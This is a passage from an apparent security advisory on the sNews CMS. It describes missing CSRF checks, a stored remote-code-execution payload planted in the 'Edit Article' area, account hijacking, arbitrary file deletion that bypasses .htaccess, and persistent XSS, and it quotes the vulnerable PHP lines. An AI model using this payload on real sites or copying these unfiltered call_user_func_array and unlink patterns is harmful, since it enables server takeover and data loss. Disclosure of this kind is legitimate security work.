However, there is no CSRF token/checks to prevent unauthorized HTTP requests to be made on behalf of that user. Furthermore, these commands will get stored in MySQL database in the 'articles' table. So each time that sNews webpage is visited it will execute. e.g. CSRF / RCE Under "Edit Article" Admin area. [func]system:|:"calc.exe"[/func] On line no 3270 of "snews.php" there is no input filtering allowing arbitrary system calls. $returned = call_user_func_array($func[0], explode(',',$func[1])); //////////////////////////////////////////////////////////////////////////////////////////// CSRF / Hijack SNews CMS accounts, the username however must be known in advance, if known then that lucky user wins a changed password!. //////////////////////////////////////////////////////////////////////////////////////////// CSRF / arbitrary file deletion, we can delete arbitrary files in the webroot which we can use to bypass access controls like ".htaccess" file. allowing attackers to read/access files from those affected directories. On line 3080 "snews.php" direct usage of untrusted user input into the PHP "unlink" function which deletes any files the attacker wants. if (isset($_GET['task']) == 'delete') { $file_to_delete = $_GET['folder'].'/'.$_GET['file']; @unlink($file_to_delete); echo notification(0,'','snews_files'); /////////////////////////////////////////////////////////////////////////////////////////// Persistent XSS entry point also exists in same "Edit Article" Admin area, but why bother when we have RCE option.
